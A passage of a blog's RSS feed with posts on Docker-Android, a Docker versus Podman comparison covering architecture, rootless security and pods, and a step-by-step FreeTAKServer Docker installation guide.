Store</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (coming soon)</td></tr><tr><td>Video Recording</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (coming soon)</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Final Thoughts</h3>



<p class="wp-block-paragraph">Docker-Android is a powerful way to simulate Android devices on any infrastructure that supports Docker. Whether you&#8217;re a mobile developer, QA engineer, or DevOps specialist, this project helps bring scalable Android testing and development to your local machine or CI/CD pipelines.</p>



<p class="wp-block-paragraph">For more details, check out the GitHub repository:<br><code>https://github.com/budtmo/docker-android</code></p>
<p>The post <a href="https://hamradio.my/2025/07/run-android-emulators-in-docker-with-ease-using-docker-android/">Run Android Emulators in Docker with Ease Using Docker-Android</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/run-android-emulators-in-docker-with-ease-using-docker-android/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Docker vs Podman: The Showdown in Containerization</title>
		<link>https://hamradio.my/2025/07/docker-vs-podman-the-showdown-in-containerization/</link>
					<comments>https://hamradio.my/2025/07/docker-vs-podman-the-showdown-in-containerization/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Fri, 25 Jul 2025 19:17:31 +0000</pubDate>
				<category><![CDATA[container]]></category>
		<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[podman]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Docker对Podman]]></category>
		<category><![CDATA[Docker対Podman]]></category>
		<category><![CDATA[Podman对Docker]]></category>
		<category><![CDATA[Докер]]></category>
		<category><![CDATA[ДокерVsПодман]]></category>
		<category><![CDATA[ДокерПротиПідман]]></category>
		<category><![CDATA[Підман]]></category>
		<category><![CDATA[Подман]]></category>
		<category><![CDATA[برامج\_الحاويات]]></category>
		<category><![CDATA[بودمان]]></category>
		<category><![CDATA[پادمن]]></category>
		<category><![CDATA[داکر]]></category>
		<category><![CDATA[دوكر]]></category>
		<category><![CDATA[डॉकर]]></category>
		<category><![CDATA[डॉकर\_विरुद्ध\_पॉडमैन]]></category>
		<category><![CDATA[डॉकरvspodman]]></category>
		<category><![CDATA[पॉडमैन]]></category>
		<category><![CDATA[ডকার]]></category>
		<category><![CDATA[ডকার\_পডম্যান]]></category>
		<category><![CDATA[পডম্যান]]></category>
		<category><![CDATA[பாட்மான்]]></category>
		<category><![CDATA[కంటైనర్లు]]></category>
		<category><![CDATA[పాడ్‌మాన్]]></category>
		<category><![CDATA[ಕಾಂಟೈನರ್]]></category>
		<category><![CDATA[ഡോക്കർ]]></category>
		<category><![CDATA[ഡോക്കര്‍]]></category>
		<category><![CDATA[コンテナ]]></category>
		<category><![CDATA[コンテナ技術]]></category>
		<category><![CDATA[容器]]></category>
		<category><![CDATA[容器技术]]></category>
		<category><![CDATA[도커]]></category>
		<category><![CDATA[도커\_대\_포드맨]]></category>
		<category><![CDATA[컨테이너]]></category>
		<category><![CDATA[포드맨]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7785</guid>

					<description><![CDATA[<p>In the fast-evolving world of software containers, two titans stand at the forefront: Docker and Podman. Both tools aim to simplify container management, but they differ significantly in design, architecture, security, and philosophy. If you’re a developer, sysadmin, or DevOps enthusiast, choosing the right tool could impact your workflows, security posture, and deployment pipelines. Let’s [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/docker-vs-podman-the-showdown-in-containerization/">Docker vs Podman: The Showdown in Containerization</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">In the fast-evolving world of software containers, two titans stand at the forefront: <strong>Docker</strong> and <strong>Podman</strong>. Both tools aim to simplify container management, but they differ significantly in design, architecture, security, and philosophy. If you’re a developer, sysadmin, or DevOps enthusiast, choosing the right tool could impact your workflows, security posture, and deployment pipelines.</p>



<p class="wp-block-paragraph">Let’s dive deep into the <strong>real, factual</strong> differences between Docker and Podman—no fluff, just facts.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What Are Docker and Podman?</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Docker</h3>



<p class="wp-block-paragraph">Released in 2013, <strong>Docker</strong> revolutionized how developers package and ship applications. It introduced a high-level, developer-friendly interface for containerizing applications and quickly became the standard in CI/CD pipelines and cloud-native development.</p>



<ul class="wp-block-list">
<li><strong>Architecture</strong>: Daemon-based (<code>dockerd</code>)</li>



<li><strong>License</strong>: Apache 2.0 (Engine), Docker Desktop (commercial license for enterprises)</li>



<li><strong>Adoption</strong>: Widely used in enterprises and supported across all major cloud providers</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9be.png" alt="🦾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Podman</h3>



<p class="wp-block-paragraph"><strong>Podman</strong> (short for <em>Pod Manager</em>) emerged from the Red Hat ecosystem in 2018 as a modern, <strong>daemonless</strong>, <strong>rootless</strong>, and <strong>Kubernetes-native</strong> alternative to Docker. It’s a drop-in replacement for many Docker CLI commands but with a twist: better security and system integration.</p>



<ul class="wp-block-list">
<li><strong>Architecture</strong>: Daemonless, fork/exec model</li>



<li><strong>License</strong>: Apache 2.0</li>



<li><strong>Endorsed by</strong>: Red Hat, Fedora, and used in OpenShift</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Architecture: Daemon vs Daemonless</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Docker</h3>



<p class="wp-block-paragraph">Docker uses a <strong>centralized daemon</strong> (<code>dockerd</code>) that listens for commands from the Docker CLI. All containers run as subprocesses of this daemon, which must be started and kept running in the background.</p>



<ul class="wp-block-list">
<li>Pros: Easier to manage containers centrally</li>



<li>Cons: If the daemon crashes, <strong>all containers go down</strong>. Also, the daemon typically runs with <strong>root privileges</strong>, a security concern in multi-tenant environments.</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Podman</h3>



<p class="wp-block-paragraph">Podman is <strong>daemonless</strong>. Each container is a direct child process of the Podman CLI, eliminating the single point of failure and reducing complexity.</p>



<ul class="wp-block-list">
<li>Pros: More secure, no need for a background service</li>



<li>Cons: Slightly more complex to manage container orchestration manually (but easily fixed with systemd)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Security: Rootless by Default</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Docker</h3>



<p class="wp-block-paragraph">Docker runs the daemon as <strong>root</strong> by default. While Docker introduced a <em>rootless mode</em>, it’s not the standard, and setting it up requires additional configuration.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2757.png" alt="❗" class="wp-smiley" style="height: 1em; max-height: 1em;" />This model has led to security breaches in containerized environments when untrusted containers were exploited to escalate privileges.</p>
</blockquote>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Podman</h3>



<p class="wp-block-paragraph">Podman was <strong>built with security first</strong>. It runs containers as the <strong>current user</strong>, even allowing <strong>completely rootless containers</strong> with no special setup. This significantly reduces the attack surface and aligns better with multi-user Linux environments.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Rootless Podman containers can&#8217;t access host kernel features they shouldn&#8217;t, which is excellent for sandboxing.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Compatibility and CLI</h2>



<p class="wp-block-paragraph">One of Podman&#8217;s biggest strengths is its <strong>Docker CLI compatibility</strong>.</p>



<pre class="wp-block-code"><code>docker run -it alpine sh
# is identical to
podman run -it alpine sh
</code></pre>



<ul class="wp-block-list">
<li>Podman supports nearly all Docker CLI commands.</li>



<li>Even <code>podman-compose</code> (a replacement for <code>docker-compose</code>) is available.</li>



<li>Transitioning from Docker to Podman is usually as simple as replacing the word “docker” with “podman.”</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c4.png" alt="📄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Systemd Integration</h2>



<p class="wp-block-paragraph">Podman integrates directly with <strong><code>systemd</code></strong>, allowing you to manage containers as system services without writing complex unit files manually.</p>



<pre class="wp-block-code"><code>podman generate systemd --name myapp &gt; ~/.config/systemd/user/myapp.service
</code></pre>



<p class="wp-block-paragraph">With this, containers can:</p>



<ul class="wp-block-list">
<li>Auto-start on boot</li>



<li>Restart on failure</li>



<li>Be managed like native Linux services</li>
</ul>



<p class="wp-block-paragraph">Docker can do this too—but only with extra configuration or third-party wrappers.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f1.png" alt="🧱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pod Support: Kubernetes-Ready</h2>



<h3 class="wp-block-heading">Docker</h3>



<ul class="wp-block-list">
<li>No native support for pods</li>



<li>Multi-container apps must be managed with Docker Compose</li>
</ul>



<h3 class="wp-block-heading">Podman</h3>



<ul class="wp-block-list">
<li>Supports <strong>pods</strong> natively, just like Kubernetes</li>



<li>You can run multiple containers sharing the same network and IPC namespace—perfect for mimicking Kubernetes locally</li>
</ul>



<pre class="wp-block-code"><code>podman pod create --name webpod
podman run --pod webpod nginx
podman run --pod webpod redis
</code></pre>



<p class="wp-block-paragraph">You’re essentially spinning up a Kubernetes-like environment on your laptop.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Performance</h2>



<ul class="wp-block-list">
<li><strong>Startup Speed</strong>: Podman starts containers slightly faster, especially in rootless mode, since there&#8217;s no daemon overhead.</li>



<li><strong>System Resources</strong>: Podman consumes fewer resources due to its daemonless architecture.</li>



<li><strong>Stability</strong>: If Docker’s daemon fails, all containers die. Podman avoids this problem.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tooling and Ecosystem</h2>



<h3 class="wp-block-heading">Docker</h3>



<ul class="wp-block-list">
<li>Has a mature, vast ecosystem</li>



<li>Seamless integration with CI/CD tools, IDEs, and Kubernetes</li>



<li>Rich GUI with Docker Desktop</li>
</ul>



<h3 class="wp-block-heading">Podman</h3>



<ul class="wp-block-list">
<li>Lighter, CLI-focused tooling</li>



<li>Supported by <strong>Buildah</strong> (for building images), <strong>Skopeo</strong> (for image management), and <strong>Podman Compose</strong></li>



<li>No official GUI, but Cockpit and third-party tools exist</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" alt="📜" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Licensing</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>Docker</th><th>Podman</th></tr></thead><tbody><tr><td>CLI/Engine</td><td>Apache 2.0</td><td>Apache 2.0</td></tr><tr><td>Desktop Version</td><td>Commercial license for enterprises</td><td>N/A</td></tr><tr><td>Rootless Support</td><td>Optional (not default)</td><td>Default</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" alt="🤔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> When to Use What?</h2>



<h3 class="wp-block-heading">Choose <strong>Docker</strong> if:</h3>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You&#8217;re working in a team already standardized on Docker<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You need Docker Desktop&#8217;s GUI or Compose integration<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You rely on third-party tools that only support Docker</p>



<h3 class="wp-block-heading">Choose <strong>Podman</strong> if:</h3>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You prioritize security and want <strong>rootless containers</strong><br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You want <strong>systemd</strong> integration for persistent services<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You’re running on <strong>Red Hat, Fedora, or Debian-based</strong> servers<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You want better Kubernetes alignment with <strong>pods</strong></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c1.png" alt="🏁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Verdict</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>Docker</th><th>Podman</th></tr></thead><tbody><tr><td>Daemon</td><td>Required</td><td>Not required</td></tr><tr><td>Rootless</td><td>Optional</td><td>Default</td></tr><tr><td>Pod Support</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>systemd Integration</td><td>Limited</td><td>Native</td></tr><tr><td>Kubernetes Alignment</td><td>Moderate</td><td>High</td></tr><tr><td>GUI Tools</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (Docker Desktop)</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (CLI-centric)</td></tr><tr><td>Licensing for Desktop</td><td>Paid for some</td><td>Fully open source</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Bottom line</strong>: Podman is a modern, security-focused, daemonless alternative to Docker. It&#8217;s perfect for developers and sysadmins who want Kubernetes-native behaviors and rootless containerization. Docker, however, remains unmatched in terms of ecosystem maturity and toolchain support.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Sources</h3>



<ul class="wp-block-list">
<li><a href="https://developers.redhat.com/blog/2020/03/04/what-is-podman-and-why-should-you-care">Red Hat Developer</a></li>



<li><a href="https://podman.io/">Podman Official Docs</a></li>



<li><a href="https://docs.docker.com/">Docker Docs</a></li>



<li><a href="https://spacelift.io/blog/podman-vs-docker">Spacelift Blog</a></li>



<li><a href="https://last9.io/blog/podman-vs-docker">Last9 Engineering</a></li>



<li><a href="https://betterstack.com/community/guides/scaling-docker/podman-vs-docker">BetterStack Guides</a></li>
</ul>
<p>The post <a href="https://hamradio.my/2025/07/docker-vs-podman-the-showdown-in-containerization/">Docker vs Podman: The Showdown in Containerization</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/docker-vs-podman-the-showdown-in-containerization/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to Install FreeTAKServer Using Docker</title>
		<link>https://hamradio.my/2025/07/how-to-install-freetakserver-using-docker/</link>
					<comments>https://hamradio.my/2025/07/how-to-install-freetakserver-using-docker/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sat, 12 Jul 2025 23:52:35 +0000</pubDate>
				<category><![CDATA[android tactical assault kit]]></category>
		<category><![CDATA[android team awareness kit]]></category>
		<category><![CDATA[ATAK]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[freeTAKserver]]></category>
		<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[APRS]]></category>
		<category><![CDATA[Containerization]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[disasterresponse]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[EmComm]]></category>
		<category><![CDATA[emergencycommunications]]></category>
		<category><![CDATA[FreeTAKServer]]></category>
		<category><![CDATA[hamradio]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[meshtastic]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[radiocomms]]></category>
		<category><![CDATA[RadioTech]]></category>
		<category><![CDATA[situationalawareness]]></category>
		<category><![CDATA[tacticalmapping]]></category>
		<category><![CDATA[takserver]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7650</guid>

					<description><![CDATA[<p>In the world of amateur radio, situational awareness and efficient communication are paramount. Enter FreeTAKServer (FTS), an open-source implementation of a Tactical Awareness Kit (TAK) server, designed to facilitate real-time data sharing and coordination among teams. Originally developed for military applications, FTS has found its way into civilian use, including amateur radio operations. This guide [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/how-to-install-freetakserver-using-docker/">How to Install FreeTAKServer Using Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">In the world of amateur radio, situational awareness and efficient communication are paramount. Enter FreeTAKServer (FTS), an open-source implementation of a Tactical Awareness Kit (TAK) server, designed to facilitate real-time data sharing and coordination among teams. Originally developed for military applications, FTS has found its way into civilian use, including amateur radio operations.</p>



<p class="wp-block-paragraph">This guide will walk you through installing FreeTAKServer using Docker, a containerization platform that simplifies deployment and management of applications.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4d6.png" alt="📖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Official docs:</strong> <a href="https://freetakteam.github.io/FreeTAKServer-User-Docs/Installation/mechanism/Docker/overview/">FreeTAKServer Docker Setup</a></h2>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What You’ll Need</h2>



<ul class="wp-block-list">
<li>A Linux server (preferred — Ubuntu, Debian, Fedora, etc.)</li>



<li>Docker or Podman installed</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 1: Choose Your Container Runtime</h2>



<p class="wp-block-paragraph">FreeTAKServer works with both <strong>Docker</strong> and <strong>Podman</strong>.</p>



<p class="wp-block-paragraph">Check what’s installed:</p>



<pre class="wp-block-code"><code>docker --version
podman --version
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Important:</strong> Pick one and <strong>stick with it</strong> for the whole setup.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c1.png" alt="📁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 2: Create a Folder</h2>



<p class="wp-block-paragraph">Make a folder to keep everything organized:</p>



<pre class="wp-block-code"><code>mkdir ~/freetakserver
cd ~/freetakserver
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 3: Get the Compose File</h2>



<p class="wp-block-paragraph">FreeTAKServer provides a pre-made file to launch everything easily.</p>



<p class="wp-block-paragraph">Download it:</p>



<pre class="wp-block-code"><code>wget https://raw.githubusercontent.com/FreeTAKTeam/FreeTAKHub-Installation/refs/heads/main/containers/example-compose.yaml -O compose.yaml
</code></pre>



<p class="wp-block-paragraph">Open it in your text editor:</p>



<pre class="wp-block-code"><code>nano compose.yaml
</code></pre>



<p class="wp-block-paragraph">Look for a line like this:</p>



<pre class="wp-block-code"><code>FTS_IP: YOUR EXTERNAL URL HERE
</code></pre>



<p class="wp-block-paragraph">Replace it with your server’s <strong>external IP address</strong> or domain name. Example:</p>



<pre class="wp-block-code"><code>FTS_IP: 123.45.67.89
</code></pre>



<p class="wp-block-paragraph">Save and close.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 4: Start the Server</h2>



<p class="wp-block-paragraph">Now run the services in the background:</p>



<p class="wp-block-paragraph"><strong>With Docker:</strong></p>



<pre class="wp-block-code"><code>docker compose -f compose.yaml up -d
</code></pre>



<p class="wp-block-paragraph"><strong>With Podman:</strong></p>



<pre class="wp-block-code"><code>podman-compose -f compose.yaml up -d
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 5: Check the Logs</h2>



<p class="wp-block-paragraph">Want to see if it’s working?</p>



<pre class="wp-block-code"><code>docker logs freetakserver
docker logs freetakserver-ui
</code></pre>



<p class="wp-block-paragraph">Or with Podman:</p>



<pre class="wp-block-code"><code>podman logs freetakserver
podman logs freetakserver-ui
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6d1.png" alt="🛑" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 6: Stop the Server</h2>



<p class="wp-block-paragraph">When you&#8217;re done or want to update:</p>



<pre class="wp-block-code"><code>docker compose -f compose.yaml down
</code></pre>



<p class="wp-block-paragraph">Or:</p>



<pre class="wp-block-code"><code>podman-compose -f compose.yaml down
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4be.png" alt="💾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Where’s My Data Stored?</h2>



<p class="wp-block-paragraph">All your important FreeTAKServer data lives inside a Docker volume.</p>



<p class="wp-block-paragraph">To find where it&#8217;s stored:</p>



<pre class="wp-block-code"><code>docker inspect freetakserver_free-tak-core-db
</code></pre>



<p class="wp-block-paragraph">Look for the <code>Mountpoint</code> — that’s the full path to your data.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5c2.png" alt="🗂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Example: <code>/var/lib/docker/volumes/freetakserver_free-tak-core-db/_data</code></p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ports to Know</h2>



<p class="wp-block-paragraph">The server uses default FreeTAKServer ports, but you can customize them with environment variables in the <code>compose.yaml</code> if needed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" alt="🌍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Extra Settings (Optional)</h2>



<p class="wp-block-paragraph">Here are some useful environment variables:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Variable Name</th><th>What It Does</th></tr></thead><tbody><tr><td><code>FTS_CONNECTION_MESSAGE</code></td><td>Custom welcome message on connection</td></tr><tr><td><code>APPPORT</code></td><td>Port for the Web UI</td></tr><tr><td><code>APIIP</code> / <code>APIPORT</code></td><td>Change where the API listens</td></tr><tr><td><code>WEBMAPIP</code> / <code>WEBMAPPORT</code></td><td>Customize Web Map location</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Summary</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Simple Docker-based install</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Works on Linux with Docker or Podman</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Data is stored persistently using volumes</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> UI and API included</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ed.png" alt="🧭" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Need Help?</h2>



<p class="wp-block-paragraph">Check the official FreeTAKServer Docker guide here:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://freetakteam.github.io/FreeTAKServer-User-Docs/Installation/mechanism/Docker/overview/">https://freetakteam.github.io/FreeTAKServer-User-Docs/Installation/mechanism/Docker/overview/</a></p>
